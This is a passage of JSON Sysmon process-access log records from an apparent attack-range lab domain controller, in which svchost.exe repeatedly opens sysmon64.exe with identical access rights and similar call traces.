C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 